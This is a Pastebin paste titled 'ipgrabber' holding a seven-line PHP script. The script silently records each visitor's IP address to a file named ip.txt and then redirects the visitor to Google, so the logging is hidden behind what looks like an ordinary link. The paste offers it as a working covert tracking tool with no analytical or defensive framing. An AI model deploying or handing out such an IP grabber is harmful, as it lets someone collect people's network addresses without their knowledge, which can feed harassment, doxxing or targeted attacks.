Htbrdd

ipgrabber

Mar 25th, 2018
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. header( 'Location: http://www.google.co.uk') ;
  3. $ip = $_SERVER['REMOTE_ADDR'];
  4. $fo = fopen("ip.txt", "a");
  5. $fw = fwrite($fo, "$ip\n");
  6. fclose($fo);
  7. ?>
Add Comment
Please, Sign In to add comment